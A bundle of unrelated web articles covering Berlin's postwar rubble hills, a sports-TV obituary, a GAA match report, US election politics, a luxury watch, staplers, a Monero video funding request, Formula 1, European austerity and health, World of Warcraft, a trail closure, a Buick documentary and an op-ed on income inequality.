The hills of Volkspark Friedrichshain and Volkspark Humboldthain are among them. One of them, Großer Bunkerberg, is the site of the Friedrichshain flak tower. After attempts at demolishing the massive concrete structure, the Soviets resorted to burying it with debris.
In the French sector, the Humboldthain flak tower suffered the same fate, but it is still possible to see and visit the partly buried flak tower.
There are six other debris mountains in Berlin alone, and several more across Germany.
Deliberate understatements
On April 30, 1945, Hitler committed suicide with his wife, Eva Braun. Their corpses were taken out of the Führerbunker in Berlin Mitte, doused with gasoline and unceremoniously cremated.
Despite deliberate efforts to make sure his corpse would never end in enemy hands, his charred remains were discovered by a young Soviet private. It was taken out of Berlin in great secret by the NKVD and reburied several times over the following decades. There is only one living man who knows the final location of Hitler's remains, and he vowed to take his secret to the grave, lest it becomes a site of pilgrimage for neo-Nazis.
The bunker in which Hitler killed himself was partly demolished, then filled up and buried. The location remained an unmarked parking lot until 2006 World Cup, when a sign was added in front of it.
Ruin value
In 1938, Hitler commissioned his favorite architect, Albert Speer, to design a new Chancellery that would be "suitable for a Greater German Reich".
The new building was intentionally designed to inspire awe. In order to reach Hitler's 400 square meter office, one had to walk across a 145 meter long gallery. It featured giant doors flanked by massive bronze statues and tall red marble walls draped in swastika flags
It was not unusual in post-war Germany to recycle debris in new constructions. After the devastating firebombing of Dresden, burned bricks from the original Frauenkirche were reused in its reconstruction.
The badly damaged Reich Chancellery was demolished by the Soviets to make room for an apartment complex. Instead of adding the rubble to one of Berlin's debris mountains, it was used with great symbolism in the construction of the Soviet War Memorial in Treptow. The monument was unveiled exactly 4 years after the German capitulation to honour the 81 000 Red Army soldiers who fell in the Battle of Berlin.
Some other buildings, on the other hand, were not demolished. Only a few hundred meters from Alexanderplatz, you can find the ruins of the Franziskaner-Klosterkirche. The church was left mostly untouched after it was gutted by Allied bombs in April 1945, and its interior was turned into an open air theatre.
The damaged spire of the Kaiser Wilhelm Memorial Church on Kurfürstendamm was also left untouched as a reminder of the destructive nature of war.
There are several buildings in Berlin that are still peppered with bullet holes from the street fighting in 1945. Redditors have pinpointed a few more buildings that still show those scars.
Between guilt and remembrance
German veterans of the War are not celebrated or honored, and even remembering their suffering seems to be at odds with how Germans are taught about their own past.
As described in great detail elsewhere, there was hardly any distinction between veterans and the general population in 1945. Every man capable of holding a weapon was thrown against the Allied steamroller as the war neared its end. The last-ditch Volkssturm saw children as young as 13 on bicycles with panzerfaust racks sent to destroy Soviet tanks.
While American and English veterans were returning home to be greeted by cheering crowds, there was no one to welcome German soldiers in a community that was on the brink of total collapse. It wasn't until the German economic miracle that the discourse about Germany's past could be reopened.
It's now possible for Germans to share their side of the story and enrich history with tales that were downplayed and even silenced for decades. Hopefully, this new openness will help us understand how so much evil was brought upon the world and ensure it never reoccurs. |
Tony Verna, a television director and producer who invented instant replay for live sports 51 years ago, has died. He was 81.
Verna died Sunday at his Palm Desert home after battling acute lymphoblastic leukemia, daughter Tracy Soiseth said.
CBS used instant replay for the first time in the Dec. 7, 1963 Army-Navy football game in Philadelphia, after Verna developed a method to cue the tape to pinpoint the play he wanted to immediately air again. He said he was looking for a way to fill those boring gaps between plays during a football telecast
The concept was so new that when Army quarterback Rollie Stichweh scored a touchdown, announcer Lindsey Nelson had to warn viewers: “This is not live! Ladies and gentlemen, Army did not score again!”
Instant replay quickly became a staple of sports broadcasting, and Verna’s innovation gave fans a new way to look at the games.
“Not many things you can do in life where you can change the way things were happening before,” Verna told The Associated Press in 2008.
Verna would go on to produce or direct five Super Bowls, the Olympics, the Kentucky Derby and even “Live Aid.”
His lasting legacy, though, is pulling back the curtain on sports and revealing what really goes on.
Verna is survived by his wife of 45 years, Carol, daughters Tracy Soiseth and Jenny Axelrod, son Eric Verna and three grandchildren. |
Dublin 0-22 Kerry 2-14
Stoppage-time points from sub Eoghan O’Gara and Diarmuid Connolly finally saw Dublin past Kerry in an enthralling All-Ireland senior football semi-final at Croke Park this afternoon.
In front of a packed house at GAA HQ, the Sky Blues kept their dreams of back-to-back Sam Maguire wins alive as they saw off the Kingdom by just two points to book a final spot with Mayo on 18 September.
For Dublin, it’s the latest in a recent line of big-game victories over their traditional rivals, following on from final victories in 2011 and 2015, and a semi-final success in 2013.
Referee David Gough left the pitch to a chorus of boos from Kerry fans at full-time and the Meath whistler was pelted with match programmes and other items as made his way down the Cusack Stand tunnel.
The free count was heavily weighted in Dublin’s favour and a few close to goal, particularly in the second half, outraged Kerry supporters, while there was also a disputed ’45 that went Dublin’s way.
There was also a highly-controversial episode in stoppage time when Peter Crowley appeared to be hit with a frontal charge by Dublin’s Kevin McManamon – but Gough allowed play to continue.
That was at a stage when Kerry were attacking through Crowley and had a free been given, there was every chance that the game would be tied up again.
But Dublin broke and Connolly slotted over a beautiful point off his left boot from the Hogan Stand side of the field.
In the final minute of normal time, it appeared that Kevin McManamon would be the scourge of Kerry once more – as his point put Dublin 0-20 to 2-13 clear.
Kerry equalised when sub Stephen O’Brien fisted over but there was still time for O’Gara and Connolly to strike and send Dublin into a fourth final in six years.
Hill 16 erupted at full-time as Kerry struggled to come to immediate terms with another devastating loss against Dublin.
And yet it had all looked so good for the Munster champions at half-time as a magnificent run of 2-4 without reply approaching the break turned this game on its head.
Jim Gavin says there was never any panic in his team despite the five-point interval deficit https://t.co/iMC67u1rJM — The Sunday Game (@TheSundayGame) August 28, 2016
In front of a sell-out Croke, Dublin controlled the first 25 minutes and were five points clear when Connolly slotted over a 24th-minute point to establish a 0-09 to 0-04 lead.
But Kerry were brilliant before the break, pressing high and attacking Stephen Cluxton’s restarts, as the Dublin goalkeeper looked unusually shaky.
Kerry rattled off three points without reply before an equalising goal arrived on the half-hour mark.
Paul Geaney pounced to pick off a Cluxton kick-out aimed for Johnny Cooper and a quick exchange of passes saw the ball end up in the Dublin net, Darran O’Sullivan the scorer after Donnchadh Walsh kept the move flowing.
Cluxton sent a kick-out over the touchline shortly afterwards as Dublin, clearly ratted, attempted to see out the remainder of the half before retreating to the sanctity of the dressing room.
But there was more havoc to come as, following a Cooper point, Anthony Maher’s long delivery saw Geaney beat Cluxton to the punch and the umpire rightly reached for the green flag.
Another Cooper free before half-time saw Kerry lead by 2-08 to 0-09 but Dublin were level within 15 minutes of the restart, roaring out of the traps to reel in the Kingdom.
Kerry managed to tag on just a solitary point in that crucial period following the interval but Dublin were humming, raising six white flags.
The final 20 minutes were simply gripping, Kerry re-asserting themselves to open up a three point lead with the clock running down.
But Dublin hit back again with four points on the spin – two Rock frees sandwiched in between efforts from Philly McMahon and McManamon.
Dublin saw the finishing line but there was still plenty of injury-time drama to come – with Jim Gavin’s holders the last men standing.
DUBLIN: S Cluxton; P McMahon (0-01), J Cooper, D Byrne; J McCarthy, C O’Sullivan, J Small; B Fenton (0-01), M.D. MacAuley; P Flynn, K McManamon (0-02), C Kilkenny; D Rock (0-12, 8f, 2 45s), D Connolly (0-03), B Brogan (0-02).
Subs: P Andrews for Flynn (46), P Mannion for Small (50), E O’Gara (0-01) for MacAuley (60), M Fitzsimons for Cooper (67), C Costello for Brogan (70+1).
KERRY: B Kelly; S Enright, M Griffin, K Young; A O’Mahony, P Crowley; T Morley; A Maher, D Moran (0-01); P Murphy (0-01), C Cooper (0-05, 4f), D Walsh; K Donaghy, P Geaney (1-04), D O’Sullivan (1-00).
Subs: S O’Brien (0-01) for O’Sullivan (39), J O’Donoghue (0-01) for Donaghy (50), B.J. Keane (0-01) for Walsh (52), B Ó Beaglaoich for Morley (56), B Sheehan for Maher (58), M Ó Sé for Geaney (67).
Referee: D Gough (Meath). |
Hillary Clinton campaign chairman John Podesta refused two separate times on Sunday to acknowledge that last month’s election was “free and fair.”
“Do you believe this was a free and fair election?” NBC “Meet the Press” host Chuck Todd asked Podesta, whose hacked emails were published online during the campaign.
“I think the Russians clearly intervened in the election,” Podesta responded.
He also asserted, citing recent reports, that “the CIA, the director of national intelligence, and the FBI all agree that the Russians intervened to help Trump” and that Russian president Vladimir Putin “was personally involved.”
“You didn’t answer the question,” Todd noted. “Do you believe this was a free and fair election?”
“I think it was distorted by the Russian intervention, let’s put it that way,” Podesta responded.
Asked what he meant by “distorted,” Podesta said: “A foreign adversary directly intervened into our Democratic institution and tried to tilt the election to Donald Trump.”
Podesta’s claims that Russia hacked Democrats specifically to help Trump is still up for debate.
One piece of evidence that goes against that theory is that Russian hackers began attacking the Democratic National Committee’s systems in Sept. 2015. That was well before Trump was considered to have any chance of even winning the GOP primaries, much less the general election.
WATCH:
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One of my favorite watches of all times is the rather exceptional UR-CC1 from URWERK. A highly remarkable timepiece that remind of the dashboards of cool 1960’s cars. That’s at least part of the inspiration for URWERK’s UR-CC1.
Recently I came across a photo of an old Patek Philippe, that looks very much like the UR-CC1. After some more research it appears to be a prototype, created by the late Louis Cottier and it was called Cobra. That explains the “CC” in the name; Cottier and Cobra. And the grey gold and black gold versions of the UR-CC1 are nicknamed King Cobra and Black Cobra.
After a bit of a search (you gotto love the internet, because articles remain online for a looooong time, as where the paper version would have been recycled by now), I found an excellent article on Watchismo, giving much insight in the development of URWERK’s UR-CC1 and historical facts about Patek’s old prototype.
More then 60 years ago…
In 1958 two men, Gilbert Albert (who designed many ‘odd shaped’ watches for Patek) and Louis Cottier (the inventor of the worldtimer watches as we know them today!) came together to design something outrageous; the very first watch with a linear time display. This became nothing less then a technical headache of monumental proportions. In 1959 Louis Cottier applied for a patent and that was it; no news if they got ‘codename Cobra’ to work. The Patek Philippe Cobra found a place in the Patek Philippe museum in Geneva ever since.
Now fast forward in time to the year 2006…
URWERK or actually Martin Frei and Felix Baumgartner, had been thinking about a watch with a linear time display since the early days of URWERK. The idea was put aside, until 2006 when Felix saw Hitchcock’s movie ‘Birds’. A close-up in the movie shows the dashboard of an old Dodge with a linear speedometer. This revives the old idea, to develop a watch with a linear time display. During their research they stumble across the old Patek Philippe Cobra and this inspires them even more. After three years of research and one year of testing the URWERK UR-CC1 is released. “CC” stands for Cottier Cobra, a homage to the original inventor.
How it works
Lucky for us, Felix Baumgartner and Martin Frei were able to create a working watch with linear time display. The UR-CC1 indicates the time by means of jumping hours and retrograde minutes. Both the hour and minute indicator are rotating cylinders.
The cylinder that indicates the hours has 12 lines, each ‘an hour’ longer than the last against the linear scale of hours. This cylinder jumps to the next line at the end of each hour. The minute-indicating cylinder is the one with the finer lines.
So far, so good, however it isn’t as simple as it looks. Remember that the UR-CC1 is actually quite flat for such a complicated timepiece. Meaning that the normal movement with its gears have to transfer the power to rotating the long cylinders, which indicate hours and minutes.
The power is transferred by a so-called triple-cam (see image below). This triple-cam rotates once every 3 hours. At the side of the movement you can see a rack; this rack is fixed on the left end (of the image) and the other end moves up and down because of the small hook that is attached to the triple-cam.
The side that moves up and down (in the image: the right side of the rack) is equipped with teeth that mesh with and rotate the minute cylinder.
Are you still with me? Sure hope so… The cylinder with minute indications doesn’t make a full rotation; it rotates just 300 degrees and then it jumps back to the beginning within 1/10th of a second. This is all driven by the teeth at the end of the pivoting rack. After 1/3 rotation by the triple-cam, the rack drops, rotates the minute cylinder 300 degrees back to zero and at that moment another gear makes the hour cylinder rotates 1/12th of a rotation (i.e. 30 degrees) to indicate another hour.
I could explain more about the used materials, that ensure the necessary stiffness, lightness and lowest possible friction, but I’ll leave that to maybe a next story.
Oh, and there’s also the pneumatic shock-absorbing Rotor Fly Brake automatic winding system that minimizes rotor and mechanism wear and damage from shock and harsh movements! No worries… also for another time 🙂
For now… some photos! All the following photos are made by Ian Skellern.
And one last photo… what an incredible timepiece!
The price level of the UR-CC1 is north of 200,000 CHF. More information about the UR-CC1 and other URWERK timepieces can be found on the URWERK website.
PS. Soon more news about two unique pieces of the UR-CC1, stay tuned!
This article is written by Frank Geelen, executive editor for Monochrome Watches. |
DO you have a stapler?
If you do, maybe it’s a little dusty in this age of PDFs. Or maybe it’s been missing for a while, after someone borrowed it and never brought it back. Or maybe you’ve affixed your name to your stapler with a piece of clear tape, so your co-workers know: you take this stapler, you die.
Even as data moves to computers and the cloud, staplers continue to help people keep it together. On the computer, we can file copies in folders and send messages to mailboxes. We can cut, copy and paste text and files. But which computer activity is similar to stapling? Sure, there’s the paper-clip icon that attaches documents to e-mail. But nothing, really, comes close to the satisfying ka-chunk of a stapler: it’s a sound that means work is getting done.
Paper receipts are supposed to be on their way out, but they continue to flutter their way through restaurants, stores and doctors’ offices. Staplers are there, attaching the receipt to the business card, the return receipt to the original receipt, the merchant copy to the bill, the receipt to the takeout bag.
If you have a stapler, the odds are fairly good that it was made by Swingline. Other companies, including Stanley-Bostitch, along with OfficeMax and Staples, also make staplers. But Swingline, now owned by Acco Brands, has long been the market leader. |
Hello everyone!
It's been a pleasure creating the first "What is Monero?" promotional video. The custom music, art, and project files have all been open sourced, and we greatly enjoyed the process.
Link to the Final Video
Link to the Github Repo
We (my wife and myself) worked over 40 hours on the video over the course of creating a storyboard, illustrating artwork, animating the art, and making the music. We also coordinated with the whole community via Reddit and Slack channel to make any edits, and welcomed any feedback.
We want to thank people who helped us with the script and edits:
needmoney90 SamsungGalaxyPlayer bitsofic
(I'm sorry to say we lost few names due to Slack history issue. Sorry guys!)
We want to keep our rates as low as possible (we need to eat something!), so we're asking for $10 per hour worked. In total, that is $800 (~110 XMR) between the two of us. We already have some contributions, mainly from needmoney90 and SamsungGalaxyPlayer, for 38 XMR in total. This brings the remaining requested funding down to 72 XMR. If you enjoyed our work, and would like to see more of it in the future, please help fund this request.
We are looking forward to making more videos for Monero in the future, including an explanatory animation on Ring Signatures. Once a proposal has been created for that, we will link to it here.
Thank you for all the community support. If you have any questions or comments, please feel free to send me a message on either Slack/IRC (@savandra), or by email (savdeyev at gmail dot com) |
Sen. Bernie Sanders fired up big crowds in St. Paul and Duluth on Tuesday, trying to keep momentum building for his surging Democratic campaign just days from when the first votes of the presidential race are cast.
More than 14,000 people came to St. Paul’s RiverCentre — a third of them in an overflow crowd — for the Vermont senator’s evening speech, and earlier, about 6,000 people packed his afternoon rally at the Duluth Entertainment Convention Center.
In both cities, Sanders spoke in typically fiery fashion on his themes of reducing income inequality, breaking the influence of big money in politics and reforming the criminal justice system.
“You, and millions of other people, need to come together,” Sanders said in Duluth, adding that what he advocates is no less than a political revolution. “You need to say loud and clear that when so many men and women fought and died to save our country, that we the people are going to have a government that represents us, not just a handful of billionaires.”
In St. Paul, he said that no president “can effectively address the crisis facing our country unless there is a political revolution.” The crowd cheered when he attacked the campaign finance system as corrupt and the criminal justice system as broken, and booed when he singled out Wal-Mart for not paying its workers enough and railed against Wall Street, corporate America, the corporate media and the Koch brothers.
“Today in America, we have a rigged economy,” Sanders said. “People are sick and tired of working long hours for lower wages.” He vowed to make paid family medical leave and a $15 minimum wage a reality.
“Some kid in Minneapolis gets arrested for selling marijuana, that kid gets a police record,” he said, as the crowd booed. But a Wall Street executive whose behavior brought the economy into the worst recession since the 1930s gets nothing, he continued, adding, “...Wall Street’s greed is destroying our economy.”
One of the loudest cheers came for Sanders’ call for “major reform in the way police departments function.” While saying that he believes most police officers act responsibly, he said it was not acceptable to see unarmed people, particularly Latinos and African-Americans, “killed in cold blood.”
“When a police officer breaks the law, that officer must be held accountable,” he said.
Shannon Chapa, 39, said she was skeptical of him at first, but “I think he really listens to those of us who aren’t the 1 percent.”
Ken Brown, 72, came from Menomonie, Wis., to see Sanders. “Hillary [Clinton] hasn’t got enough strength to withstand the competition,” he said.
Waiting for Sanders, who spoke first to the overflow crowd, they heard from Farhiya Ali, a Hamline University student, and U.S. Rep. Keith Ellison, D-Minn. Ali drew cheers when she called for addressing institutional racism and the way cities are policed — and when she made a dig at Republican candidate Donald Trump by saying Sanders would bring change “rather than scapegoating Latinos or Muslims.”
Rising influence
Initially viewed as a long shot due to his quirky style and self-professed socialism, Sanders, 74, has recently risen to near equal or even ahead of Clinton in a handful of polls of Democratic voters. The biggest test of his underdog bid comes Monday, when Iowans gather for their first-in-the-nation caucuses.
Sanders started Tuesday in Des Moines at a rally with a United Steelworkers local that’s backing his bid. How he fares in Iowa will go a long way in determining whether he can keep up a fight against Clinton. Sanders told reporters at the Des Moines event that big turnout is key to his success.
Minnesota holds its own caucuses on March 1. A Star Tribune Minnesota Poll last week showed Clinton leading Sanders 59 percent to 25 percent among Democratic-leaning voters in the state. Sanders would beat Republican Donald Trump in a head-to-head matchup, the poll found. Sanders drew his strongest support in Minneapolis and St. Paul, but he also beat Trump in outstate Minnesota.
The Washington Post reported Tuesday that Sanders would hold a private meeting Wednesday with President Obama in the Oval Office. No agenda was announced, but it comes on the heels of Obama recently praising Clinton. The president has stressed, however, that he intends to remain neutral in the race for the Democratic nomination.
Resonating with the young
The size of the crowds showed how Sanders’ populist, anti-establishment message is resonating. The crowds were particularly well-stocked with young people.
“He has the people’s best interests in mind and his heart is in the right place,” said Paige Melius, a 23-year-old environmental sciences major at the University of Minnesota Duluth at the afternoon rally. Asked if she’d vote for Clinton should she become the Democratic nominee, Melius said she’d be more inclined to write in Sanders.
In his Duluth speech, Sanders ripped into perceptions that Clinton would be a better candidate for Democrats. He also said: “There’s nothing more in this life that I would look forward to than running against Donald Trump.”
Staff writer J. Patrick Coolican in Des Moines contributed to this story.
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If you have found the love of your life, you might be in love with the way that person makes you feel and you will not get enough of it. That one person will always bring out the best in you and if you have not found that person yet, you will feel empty and hollow. Love is something that we all crave for and when you have a person to share all your emotions with, cry, and laugh and simply share life with; your life will be made much easier. If you have not found that one person yet or if you have tried and failed, you should not lose hope but you should work your way to find that person. Yes, the journey to that person will not be easy but when you find the treasure in the map of life, you will never feel any better. If you think that it is the time that you share your life with another person who is special to you, here are some of the things that you need to do to find the love of your life:
The right apps and the websites
You should not let your life get wasted away looking for love in all the wrong places. Nowadays, the best place to look for love with the guarantee of finding it is to use a dating app iPhone. In this app, you will be able to find people who are looking for a relationship and there will be loads of people who share the same interests as you do that will be the perfect match for you. Therefore, this the perfect start that you can set to finding that person to share the rest of your life with. You might have had enough being single and you should always make sure that you do not commit unless you find that one person. To find that one person is what will bother you but if you simply get involved in a single dating site, you can simply find that one person who is meant to be yours and share the good and the bad together.
Follow your heart
It is important that you let your heart flow when it comes to love. The more you get to know a person, the more you will realise if you are into that person or not. If you are interested, you should get to know them and spend quality time so you will find that person who you will fall love with and you will not have any problem creating mutual understanding. |
RESULTS: Japanese Grand Prix - Free practice results (2)
Max Verstappen has teased Red Bull could have the package to challenge Mercedes in the Japanese Grand Prix after a positive opening day in free practice at Suzuka.
Just two years after Verstappen made his F1 debut in an FP1 outing with Toro Rosso at Suzuka prior to the his full season deal in 2015, the 19 year-old returns to Japan as a potentially challenger for victory following a strong start in FP1 and FP2.
Though forced to set his fastest FP2 lap on used soft tyres after his 'new' run was scuppered by a Virtual Safety Car period, Verstappen - second in Malaysia last weekend - says he is nonetheless very happy with his form on the long runs which were on a par with the Mercedes'
OPINION: Does Lewis Hamilton deserve his Snapchat backlash?
"I think it's one of the best Fridays so far," the Dutchman, who was fourth fastest, said. "Everything seemed to work really well, the car handling is good, long run pace was good. I think we are quite happy but of course we still have work to do."
"At the moment the possibility very strong [to challenge for the win] so we will try to be close and hopefully with some rain tomorrow that could help us."
Indeed, Verstappen is hoping rain forecast in the area makes its presence felt to level a playing field and potentially increase Red Bull's chances of victory.
"In the wet we have even more of a chance to do a good job, so yeah, rain, I would like that. Hopefully we can be close to the Mercedes cars."
Wins, Max, Bernie... and Tesco: 10 Revealing minutes with Daniel Ricciardo
Latest Tweets from Crash.net & GPF1rst |
The harsh spending cuts introduced by European governments to tackle their crippling debt problems have not only pitched the region into recession — they are also being partly blamed for outbreaks of diseases not normally seen in Europe and a spike in suicides, according to new research.
Since the crisis first struck in 2008, state-run welfare and health services across Europe have seen their budgets cut, medical treatments rationed and unpopular measures such as hospital user fees introduced.
Médecins Sans Frontières says European governments are willing to respond to health problems like malaria but there's a lack of resources. (Alvaro Barrientos/Associated Press)
Those countries that have slashed public spending the hardest — namely Greece, Spain and Portugal — have fared the worst medically.
"Austerity measures haven't solved the economic problems and they have also created big health problems," said Martin McKee, a professor of European Public Health at the London School of Hygiene and Tropical Medicine, who led the research.
He said worsening health was driven not just by unemployment, but by the lack of a social welfare system to fall back on.
"People need to have hope that the government will help them through this difficult time," he said.
The paper was published online Wednesday in a special series of the journal Lancet.
More among drug users in Greece
McKee said Greece in particular was struggling. Based on government data, he and colleagues found suicides rose by 40 per cent in 2011 compared to the previous year. Last year, the country also reported an exponential rise in the number of HIV cases among drug users, due in part to addicts sharing contaminated syringes after needle exchange programs were dropped.
In recent years, Greece has also battled outbreaks of malaria, West Nile virus and dengue fever.
"These are not diseases we would normally expect to see in Europe," said Willem de Jonge, general director of Médecins Sans Frontières in Greece.
In 2011, MSF helped Greece tackle a malaria outbreak that broke out after authorities scrapped spraying programs to kill mosquitoes.
"There's a strong willingness in the government to respond [to health problems] but the problem is a lack of resources," de Jonge said.
Outside Madrid's Hospital Clinico San Carlos, several patients grumbled about deteriorating medical care.
"The cutbacks are noticeable in many ways," said Mari Carmen Cervera, 54, an unemployed nurse. Cervera's mother was initially admitted to the hospital with a serious heart problem that required surgery. Cervera says her mother was discharged too early and had to be brought back when she had trouble breathing one night.
"While she was [hospitalized], she wasn't being properly washed by the nursing staff, so I had to do it myself," she said. "I personally think what has happened to my mother is a consequence of negligence and I am going to make an official complaint as soon as [she] is well enough to come home again."
Hans Kluge of the World Health Organization's European office, advised countries against radical health reforms during an economic crisis.
"In every health system, there is fat to cut," he said, recommending countries start with straightforward measures such as buying more generic drugs or eliminating unnecessary hospital beds.
Still, McKee and colleagues found not all countries mired in debt are unhealthy. Despite massive losses in its banking sector, Iceland rejected a bailout deal prescribed by the International Monetary Fund.
McKee and colleagues didn't find any bump in suicides and the population may even be healthier since it nearly went bankrupt — which could have been a result of global junk food chains pulling out of the country due to rising food costs.
Elsewhere, the researchers noted a drop in road accidents as more drivers opted for public transport. In turn, that has led to a shortage of organ donations and transplants, particularly in Spain and Ireland. |
World of Warcraft will be reaching a significant milestone with their 10 year anniversary this November. To think that 10 years ago we were just figuring out how to play the class you randomly chose and exploring Azeroth. The game has evolved greatly since those early days and has seen four expansions with a fifth on the way. At it’s peak WoW maintained 12 million subscribers, but has seen a steady decline since 2011 and now only has a mere 6.8 million subscribers. That’s nearly half of the players leaving, but still leaves it as one of the most played games in the world.
Well, for those that still love to play WoW or have been looking for something fun to happen, Blizzard is going to tap into your nostalgia by bringing back a bit of the past. For a limited time only, Blizzard will run a new Battleground in the spirit of Tarran Mill and Southshore wars from the past and add a 40-man Raid Finder version of Molten Core for max level players. Oh and they are going to light some Corgis on fire…
Hmmm?
Alright, they aren’t actually setting Corgis on fire. Instead, just by logging in for the event, you will receive your very own Molten Corgi.
Anyone who logs in during the 10-year anniversary event will also be able to claim a feisty, fiery new pet: the Molten Corgi! Just think of the corgi-parade potential when you and your friends summon these wee waddling balls of fire for a walk.
Tarren Mill vs. Southshore: The Rematch
In the early days of WoW, there were a few places where the Horde and Alliance would clash. One of those places was in a mid level zone where a Horde town (Tarren Mill) and an Alliance town (Southshore) were close together and had quests for both factions in the area. This was also a contested zone on PvP servers which meant just being in the zone allows the opposite faction to attack you. Do to the proximity of the two towns, and a reasonable amount of hate towards the opposite faction, players would grieve low levels players and cause an all out war between factions in the area.
This was before the implementation of Battlegrounds and was a good source of PvP if you craved to fight the Horde or Alliance. Blizzard is going to attempt to recreate that with their new Battleground Tarren Mill vs. Southshore: The Rematch.
If you engaged in PvP early on in WoW, you might have fond memories of—and perhaps a few scars from—the endless tug-of-war between Horde and Alliance players at Tarren Mill and Southshore. To recapture that feeling, we’ll be opening a Team Deathmatch–style Battleground based on that timeless struggle. However, unlike the old days of Tarren Mill vs. Southshore, there will be a clearly defined victor, so you’ll need to work as a team or face crushing defeat.
One of things not mentioned about the new Battleground was how many people would be able to play it? Luckily, Holinka took to Twitter to answer that question.
100 v 100 is an amazing number and should bring back some of the feel of PvP 10 years ago with multiple 40 man raids battling it out near Tarren Mill. Holinka also noted that the old Honor System will be in affect and allow players to level up to higher ranks and be worth more points. Just so you know, you need to kill A LOT of people to make it to Grand Marshal or High Warlord…trust me…I know.
As players earn honorable kills, they level up through the original honor system. The higher rank you are, the more points you're worth. — Holinka (@holinka) August 6, 2014
Molten Core Gets Boosted
Molten Core was the first true raiding instance in WoW and for some it is either a fond memory or a nightmare from long ago. Molten Core was a 40-man instance that introduced new boss mechanics (living bombs, curses that need to be cleansed, spatial awareness, etc.), attunement, Tier 1 gear, and rep grinding to unlock the final boss. Guilds would spend weeks upon weeks farming the instance to gear up 40 people to even have a chance at taking down Ragnaros. They had to craft and farm fire resist gear and plan out fire resist buffs so that players could even stand in his presence. The raid also depended on the majority of the 40 people not fucking up so that the entire raid wouldn’t wipe on a boss and reclear trash. To commemorate that struggle, Blizzard is introducing a 40-man Raid Finder version of Molten Core for max level players.
Molten Core provided many WoW players with their first taste of WoW raiding. For the anniversary celebration, max-level players will be able to participate in a special 40-player Raid Finder version to relive the experience of hunting down Ragnaros and his minions within his fiery lair. Downing the Firelord will earn you an Achievement and a special Core Hound mount reward (fireproof leg armor not included).
Once you defeat the new and improved Molten Core, you’ll receive and outrageously large Corehound mount for your troubles along with an achievement. But remember that this is for a limited time only, so come November by ready to take on the Firelord so you can claim your prize.
Sources: MMO-Champion, Curse, Blizzard |
MILLINOCKET – Baxter State Park has closed a popular trail that leads to the top of Mount Katahdin.
Park Director Jensen Bissell told WZON-AM that a rock slide this spring “obliterated” much of the Abol Trail. He said the area remains unstable, with the potential for more rocks tumbling down.
Additional Images 1997 Press Herald File Photo Hikers near the end of the Abol Trail during a climb up Mount Katahdin. The trail was mostly obliterated by a rock slide this spring.
The Abol Trail is the shortest and steepest trail to the summit with an elevation gain of nearly 4,000 feet. But it’s never been an easy trail because of loose stone and gravel.
Bissell says the trail will be closed for the season. He said park officials need time to examine the trail in detail and determine future options.
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The Buick Grand National is one of the mythic beasts of the car world. With a turbocharged V6 and the blackest of black paint, it is the Darth Vader of the roads and has established a fanatical cult following.
This December, an independent documentary about the car called Black Air will be released. Get your first tire shredding look at it here and then jump below to ask director Andrew Filippone Jr. all your questions about the film.
The Grand National was the muscle car of the 80s. It was intimidating, it was fast, and it was black. For a factory built hot rod, Buick really got it right. Hell, it was the fastest accelerating production car in America. It got from 0 to 60 in 4.7 seconds, which is fast by modern standards.
Black Air will premiere on December 11, 2012, exactly 25 years to the day that the last Grand National rolled off of Buick's assembly line.
With the film, Filippone is looking to answer the questions everyone has about the cars: Where did it come from? Where did it fit? And now, two decades after its passing, what is its legacy?
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Check out the trailer below and jump in Kinja to get some of the straight dirt from Filippone before the premiere in December.
Andrew had to run, big thanks to him for taking so many questions! Now get out there and see the movie in December! |
It's at this time of the year that generous, big-hearted Americans reach out to aid the less fortunate among us -- like those who've recently been knocked down by the recession and seen their incomes plummet. I speak, of course, about our nation's severely squeezed millionaires.
Yes, many in the infamous 1 percent class are no longer feeling like a million bucks. According to a new federal report, the income of these high-living swells averaged a robust $1.4 million in 2007, but after Wall Street crashed in a heap of greed late that year, their average income took a tumble. In 2009, it fell below the millionaire threshold, leaving these poor rich folks struggling to make it on an average income of only $957,000.
Also, talk about getting a lump of coal in your Christmas stocking, the share of our nation's total income taken by the 1-percenters fell from a whopping 23 percent in 2007 (the highest since the Roaring Twenties) to a mere 17 percent in 2009. How sad for them, huh?
The only balm for their little financial ouchie is they are using the slight setback to rebuke the 99-percenters of the Occupy Wall Street protests. See, say the rich, waving the federal report, our slice of the pie in 2009 was the smallest it's been in a decade, so your protest about inequality is out of date. "Get a time machine," one front man for the Koch brothers barked at the Occupy movement.
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OK, but let's travel back only a few short years in time to 1980, when the top 1 percent was very happy to pocket a meager 10 percent of all of America's income. And, by the way, today's 1-percenters have had big income gains since 2009, while the 99 percent have lost income. So the Occupiers are right -- the inequality is increasing -- yet, shamefully, those who're back making a killing want America's hard-hit majority to feel sorry for them!
The 1-percenters and the politicos who serve them are modern-day scrooges, oblivious to the hardships of others. "Humbug," they mutter, expecting downsized workers to be like Bob Cratchit -- grateful to be given an extra piece of coal for the fire in Ebenezer's cold workspace. As you recall, Scrooge was a nasty old miser, but even he came to see the soul-destroying evil of his ways and found redemption in the end. One wonders, though -- is there any hope for the Scrooges of Washington?
Congressional Republicans continue to protect nonsensical tax breaks for Wall Street billionaires and Big Oil, while demanding that programs to aid America's growing number of poor people either be slashed or eliminated. The Obama White House is fighting most of this absurdity, but it keeps trying to appease the GOP by offering to sacrifice programs that ordinary people really need. For example, LIHEAP.
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Much of the country doesn't know what that is, but people who go through the long, bitterly cold winters in the Northeast know that LIHEAP literally is a lifeline for the thousands of poor families there. It's the Low Income Home Energy Assistance Program, which helps the poor afford the steadily rising price being charged for the heating oil that Northeastern states rely on. Home heating oil in Maine is presently running $3.66 a gallon, up from $2.87 a year ago.
Yet, in a concession to GOP leaders, Obama has proposed whacking LIHEAP's funding so severely that average benefits this winter would fall from about $800 per home to just over $300. That's not just throwing a program's budget into the Republican shredder, it's throwing people into it! In Bangor, Maine, where the average January low is only 7 degrees above zero, the slashed benefits will buy only about 100 gallons of fuel for the typical low-income home. It takes 850 gallons for those homes to stay heated through the winter season.
Rather than literally tossing the poor into the cold, how about cutting off all heat to the White House and Capitol? Let those Scrooges feel the sting of their budgetary miserliness, and maybe they'd seek a bit of redemption from those they're hurting. |
The Low Countries, with their openness to the great ocean and wealth of protected rivers and waterways inland, were ideal for trade, movement and consequent political development. The loess soil is dark and productive, even as the forests provided a natural defense. European antiquity was defined by the geographic hold of the Mediterranean, but as Rome lost its hinterlands, history moved north.
